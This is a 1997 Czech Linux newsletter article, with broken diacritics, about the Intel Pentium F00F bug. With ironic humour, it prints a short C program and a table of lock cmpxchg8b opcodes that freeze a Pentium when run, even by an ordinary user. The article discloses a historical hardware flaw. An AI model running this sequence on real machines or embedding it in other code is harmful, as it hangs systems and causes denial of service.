- p�edchoz� �l�nek - n�sleduj�c� �l�nek - obsah - �vodn� str�nka -

Linuxov� noviny Listopad 1997

Chyba v procesorech Intel Pentium

Pavel Jan�k ml., 8. listopadu 1997

V konferenci linux-kernel pr�v� prob�hla zpr�va oznamuj�c�, �e instruk�n� sada procesor� Pentium spole�nosti Intel obsahuje instrukci umo��uj�c� regulovat teplotu procesoru.

This is not a good_thing(tm).
Dick Johnson

Ale v�n�. N�sleduj�c� program po spu�t�n� na po��ta�i s procesorem Intel Pentium zastav� vnit�n� hodiny procesoru, ��m� se jeho teplota sn��� na teplotu okol�. Program byl vyzkou�en na procesorech Intel Pentium od 75 do 166 Mhz a to nejen v Linuxu, ale i v opera�n�ch syst�mech MS-DOS, Windows 95 a samoz�ejm� i Windows NT (3.51 i 4.0).

 char x[5] = {0xf0, 0x0f, 0xc7, 0xc8, 0x00};

 void main()
 {
     void(*f)() = x;

         (*f)();
 }

V�pis 3: Demonstra�n� program

Podobn� efekt maj� i dal�� instrukce (viz tabulka Chybn� instrukce procesoru Intel Pentium). (Z�vislost mezi kone�nou teplotou procesoru a instrukc� se mi zat�m nepoda�ilo odhalit).

Op. k�dInstrukce
f0 0f c7 c8lock cmpxchg8b %eax
f0 0f c7 c9lock cmpxchg8b %ecx
f0 0f c7 calock cmpxchg8b %edx
f0 0f c7 cblock cmpxchg8b %ebx
f0 0f c7 cclock cmpxchg8b %esp
f0 0f c7 cdlock cmpxchg8b %ebp
f0 0f c7 celock cmpxchg8b %esi
f0 0f c7 cflock cmpxchg8b %edi

Tabulka 2: Chybn� instrukce procesoru Intel Pentium

*


- p�edchoz� �l�nek - n�sleduj�c� �l�nek - obsah - �vodn� str�nka -